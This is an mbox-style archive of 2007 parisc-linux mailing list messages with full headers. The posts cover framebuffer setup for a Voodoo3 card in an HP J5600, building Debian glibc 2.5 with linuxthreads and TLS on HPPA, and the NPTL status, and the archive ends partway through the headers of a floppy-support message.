List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: OXv/cdxeRkke1KuPfGRqscVmdWkvKBOf
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24286

I have my old J5600 recompiled and running with 2.6.19.1 kernel. I put 
an old Voodoo3 2000 rev 1 in the secondary pci slot and it is recognized 
by the system (not compiled in the kernel just lspci).  Is there any 
trick to getting it to work with linux in the J5600 before I waste time 
trying?

Mike

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J5600 Video
Date: Wed, 7 Feb 2007 16:47:50 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <20070207214750.GA27652__21838.3145089776$1416624277$gmane$org@athena.road.mcmartin.ca>
References: <45CA42F4.2070207@cox.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624277 22625 80.91.229.3 (22 Nov 2014 02:44:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:37 +0000 (UTC)
Cc: debian-glibc@lists.debian.org,
 parisc-linux@lists.parisc-linux.org
To: Michael Greene <listsnews@cox.net>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Feb 2007 21:48:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx091) with SMTP; 07 Feb 2007 22:48:28 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1CF5D7DA73;
	Wed,  7 Feb 2007 14:48:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30195-08; Wed, 7 Feb 2007 14:48:24 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EE2857DA7D;
	Wed,  7 Feb 2007 14:48:22 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 51D0F7DA5A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Feb 2007 14:48:07 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30195-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 7 Feb 2007 14:48:05 -0700 (MST)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id A23127DA54
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Feb 2007 14:48:05 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id A5F9758409A;
	Wed,  7 Feb 2007 16:48:04 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 20A6C584099;
	Wed,  7 Feb 2007 16:48:04 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 2B140837DB;
	Wed,  7 Feb 2007 16:48:02 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 84E403B06E; Wed,  7 Feb 2007 16:47:50 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <45CA42F4.2070207@cox.net>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Hn74dKI8Iyd1r/qQe2drcNVaa2FkZtXZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24287

On Wed, Feb 07, 2007 at 04:21:56PM -0500, Michael Greene wrote:
> I have my old J5600 recompiled and running with 2.6.19.1 kernel. I put 
> an old Voodoo3 2000 rev 1 in the secondary pci slot and it is recognized 
> by the system (not compiled in the kernel just lspci).  Is there any 
> trick to getting it to work with linux in the J5600 before I waste time 
> trying?
> 

I haven't the foggiest clue why you thought debian-glibc would care...

It should be a simple matter of turning on the 3dfx voodoo framebuffer
driver and console on framebuffer support. Point X to use fbdev, instead
of tdfx, which will likely fail spectacularly. Use fbset to change
the framebuffer parameters and make sure your X.org conf matches.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Max Grabert" <parisc@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J5600 Video
Date: Thu, 8 Feb 2007 01:05:16 +0100
Lines: 52
Approved: news@gmane.org
Message-ID: <e6eae0290702071605x213ec1cdq81dc168a390fb84b__17701.3308777989$1416624277$gmane$org@mail.gmail.com>
References: <45CA42F4.2070207@cox.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1841894822=="
X-Trace: ger.gmane.org 1416624277 22632 80.91.229.3 (22 Nov 2014 02:44:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:37 +0000 (UTC)
Cc: debian-glibc@lists.debian.org,
 parisc-linux@lists.parisc-linux.org
To: "Michael Greene" <listsnews@cox.net>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Feb 2007 00:05:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx013) with SMTP; 08 Feb 2007 01:05:40 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 12D977DA4B;
	Wed,  7 Feb 2007 17:05:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31012-06; Wed, 7 Feb 2007 17:05:35 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D60067DA54;
	Wed,  7 Feb 2007 17:05:33 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 059BB7DA45
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Feb 2007 17:05:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31012-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 7 Feb 2007 17:05:18 -0700 (MST)
Original-Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.190])
	by free.linux.hp.com (Postfix) with ESMTP id 1AA007DA43
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Feb 2007 17:05:17 -0700 (MST)
Original-Received: by nf-out-0910.google.com with SMTP id l37so712396nfc
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 07 Feb 2007 16:05:16 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:references;
	b=cB+F9IWhFtT+bYJGVT+u9lCFyUvYPteRQSg62Cy4Sg7qNQ/54lu4nOyc7QZprilgsVf+SW2jIqsYgZzQBgp2U/x+Bk+MZOvhIdS9WbfOtMNorf0zO2YqvSh6KEiL3HMqMEgEsGg9z6Kd4/S6m8JhWx5twX9tiP3P5GkyJmBoRb8=
Original-Received: by 10.82.148.7 with SMTP id v7mr3412692bud.1170893116730;
	Wed, 07 Feb 2007 16:05:16 -0800 (PST)
Original-Received: by 10.82.118.5 with HTTP; Wed, 7 Feb 2007 16:05:16 -0800 (PST)
In-Reply-To: <45CA42F4.2070207@cox.net>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: MQCvBPpgfW4o8+WveGVoUG5mdmllckUv
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24288

--===============1841894822==
Content-Type: multipart/alternative; 
	boundary="----=_Part_17375_6750289.1170893116664"

------=_Part_17375_6750289.1170893116664
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On 07/02/07, Michael Greene <listsnews@cox.net> wrote:
>
> I have my old J5600 recompiled and running with 2.6.19.1 kernel. I put
> an old Voodoo3 2000 rev 1 in the secondary pci slot and it is recognized
> by the system (not compiled in the kernel just lspci).  Is there any
> trick to getting it to work with linux in the J5600 before I waste time
> trying?


At one time I was trying to use a Voodoo3 3000 in a C3000, but I was
unsuccessful (linux fb wouldn't initialise/turn on the display, and
the native XFree86 driver would crash the machine).
That was about 2 years ago I think, and some things have changed since
then ... you might even be successful today. Just try and find out :-)

   Max

------=_Part_17375_6750289.1170893116664
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On 07/02/07, <b class="gmail_sendername">Michael Greene</b> &lt;<a href="mailto:listsnews@cox.net">listsnews@cox.net</a>&gt; wrote:<div><span class="gmail_quote"></span><blockquote class="gmail_quote" style="border-left: 1px solid rgb(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;">
I have my old J5600 recompiled and running with <a href="http://2.6.19.1">2.6.19.1</a> kernel. I put<br>an old Voodoo3 2000 rev 1 in the secondary pci slot and it is recognized<br>by the system (not compiled in the kernel just lspci).&nbsp;&nbsp;Is there any
<br>trick to getting it to work with linux in the J5600 before I waste time<br>trying?</blockquote><div><br>At one time I was trying to use a Voodoo3 3000 in a C3000, but I was<br>unsuccessful (linux fb wouldn&#39;t initialise/turn on the display, and
<br>the native XFree86 driver would crash the machine).<br>That was about 2 years ago I think, and some things have changed since<br>then ... you might even be successful today. Just try and find out :-)<br><br>&nbsp;&nbsp; Max<br>
</div></div>

------=_Part_17375_6750289.1170893116664--

--===============1841894822==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1841894822==--



From - Thu Nov 08 21:35:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aurelien Jarno <aurelien@aurel32.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc 2.5 & TLS linuxthreads (+ NPTL status)
Date: Mon, 05 Feb 2007 22:25:35 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <45C7A0CF.4020404__39680.7162710049$1416624277$gmane$org@aurel32.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624277 22639 80.91.229.3 (22 Nov 2014 02:44:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:37 +0000 (UTC)
Cc: GNU Libc Maintainers <debian-glibc@lists.debian.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Feb 2007 21:25:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx066) with SMTP; 05 Feb 2007 22:25:58 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C17107D9F5;
	Mon,  5 Feb 2007 14:25:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10278-05; Mon, 5 Feb 2007 14:25:49 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 86BDB7D9CC;
	Mon,  5 Feb 2007 14:25:47 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8873A7D957
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Feb 2007 14:25:42 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10119-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 5 Feb 2007 14:25:40 -0700 (MST)
Original-Received: from mail.aurel32.net (farad.aurel32.net [82.232.2.251])
	by free.linux.hp.com (Postfix) with ESMTP id C07337D8FB
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Feb 2007 14:25:40 -0700 (MST)
Original-Received: from [2001:618:400:fc13:c37:22ff:feda:f8] (helo=volta.aurel32.net)
	by mail.aurel32.net with esmtps (TLS-1.0:RSA_AES_256_CBC_SHA1:32)
	(Exim 4.63) (envelope-from <aurelien@aurel32.net>)
	id 1HEBLI-0006Oa-TR; Mon, 05 Feb 2007 22:25:41 +0100
Original-Received: from localhost ([127.0.0.1])
	by volta.aurel32.net with esmtp (Exim 4.63)
	(envelope-from <aurelien@aurel32.net>)
	id 1HEBLD-0002Cd-E6; Mon, 05 Feb 2007 22:25:35 +0100
User-Agent: IceDove 1.5.0.9 (X11/20061220)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: k8e1ZX8MeSE59b6WZHQhRI92IGRvbwD1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24289

Hi all,

I spent the last week-end trying to get the Debian glibc 2.5 package
built with linuxthreads and TLS support on HPPA. And it was successfull!
The packages should be available in the experimental repository when the
HPPA autobuilder have built it (my build was a bit hackish).

FYI, I used binutils 2.17 CVS 20070103 and 4.2.0 CVS 20070105.

To make the glibc buildable I had to use the following patch from Carlos
O'Donell:
http://svn.debian.org/wsvn/pkg-glibc/glibc-package/branches/glibc-2.5/debian/patches/hppa/submitted-lt.diff?op=file&rev=0&sc=0

This patch is already very old, but has still not be committed to the
CVS. Is it something wanted, or has it only been forgotten?

Also what is the current status of NPTL on HPPA. Last time I tried it
was building but they were some failures in the testsuite. I am
currently building a test version here. Is it something stable enough
that it can be used "in production"? I have seen Gentoo has made the
switch...

Bye,
Aurelien

-- 
  .''`.  Aurelien Jarno	            | GPG: 1024D/F1BCDB73
 : :' :  Debian developer           | Electrical Engineer
 `. `'   aurel32@debian.org         | aurelien@aurel32.net
   `-    people.debian.org/~aurel32 | www.aurel32.net
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.5 & TLS linuxthreads (+ NPTL status)
Date: Mon, 5 Feb 2007 22:32:28 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <20070205223228.0cfb75f8.gmsoft__34893.4687710882$1416624278$gmane$org@gentoo.org>
References: <45C7A0CF.4020404@aurel32.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624278 22646 80.91.229.3 (22 Nov 2014 02:44:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:38 +0000 (UTC)
Cc: debian-glibc@lists.debian.org,
 parisc-linux@lists.parisc-linux.org
To: Aurelien Jarno <aurelien@aurel32.net>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Feb 2007 22:54:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx091) with SMTP; 05 Feb 2007 23:54:48 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C97637D417;
	Mon,  5 Feb 2007 14:31:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10504-05; Mon, 5 Feb 2007 14:31:26 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A50847D41F;
	Mon,  5 Feb 2007 14:31:25 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CBD807DA32
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Feb 2007 14:31:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10278-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 5 Feb 2007 14:31:20 -0700 (MST)
Original-Received: from smtp-out.coditel.net (smtp-out.coditel.net [212.95.66.33])
	by free.linux.hp.com (Postfix) with ESMTP id 159DD7D8FB
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Feb 2007 14:31:20 -0700 (MST)
Original-Received: from smtp.coditel.net (localhost.localdomain [127.0.0.1])
	by smtp-out.coditel.net (Postfix) with ESMTP
	id CBAD6EBDA0; Mon,  5 Feb 2007 22:31:18 +0100 (CET)
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.84.48.coditel.net
	[85.28.84.48]) by smtp.coditel.net (Postfix) with ESMTP
	id BD34E2FD71; Mon,  5 Feb 2007 22:31:17 +0100 (CET)
Original-Received: from [2001:6f8:310:400:216:6fff:fe8b:a] (helo=localhost)
	by ibiza.bxl.tuxicoman.be with smtp (Exim 4.62)
	(envelope-from <gmsoft@gentoo.org>)
	id 1HEBQO-0004HI-Ca; Mon, 05 Feb 2007 22:30:56 +0100
In-Reply-To: <45C7A0CF.4020404@aurel32.net>
X-Mailer: Sylpheed version 2.2.4 (GTK+ 2.10.6; i686-pc-linux-gnu)
X-AV-Checked: clean on smtp.coditel.net
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 39yiBF8QfW4o8+WveGVozEdmdmllckVk
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24290

On Mon, 05 Feb 2007 22:25:35 +0100
Aurelien Jarno <aurelien@aurel32.net> wrote:

> Also what is the current status of NPTL on HPPA. Last time I tried it
> was building but they were some failures in the testsuite. I am
> currently building a test version here. Is it something stable enough
> that it can be used "in production"? I have seen Gentoo has made the
> switch...

Nope, not yet, our test with glibc-2.5 resulted in segfault with all threaded stuff.

I hope you'll have more success :)

> 
> Bye,
> Aurelien

-- 
Guy Martin
Gentoo Linux - HPPA port Lead

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James K. Love" <jlove@scires.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Floppy disk support for 9000 series (715, 755,
	etc.) workstations.
Date: Thu, 08 Feb 2007 12:23:41 -0500
Organization: Scientific Research Corporation
Lines: 110
Approved: news@gmane.org
Message-ID: <45CB5C9D.1070601__2433.89864122054$1416624278$gmane$org@scires.com>
References: <45B67554.6010208@scires.com>
	<20070124162810.GA31075@colo.lackof.org>
Reply-To: jlove@scires.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="------------030801000502080206080706"
X-Trace: ger.gmane.org 1416624278 22652 80.91.229.3 (22 Nov 2014 02:44:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Feb 2007 17:24:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx028) with SMTP; 08 Feb 2007 18:24:34 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2269A7DA9A;
	Thu,  8 Feb 2007 10:24:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05367-06; Thu, 8 Feb 2007 10:24:29 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E91977DA89;
	Thu,  8 Feb 2007 10:24:27 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4CAE37DA82
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Feb 2007 10:24:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05016-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 8 Feb 2007 10:24:12 -0700 (MST)
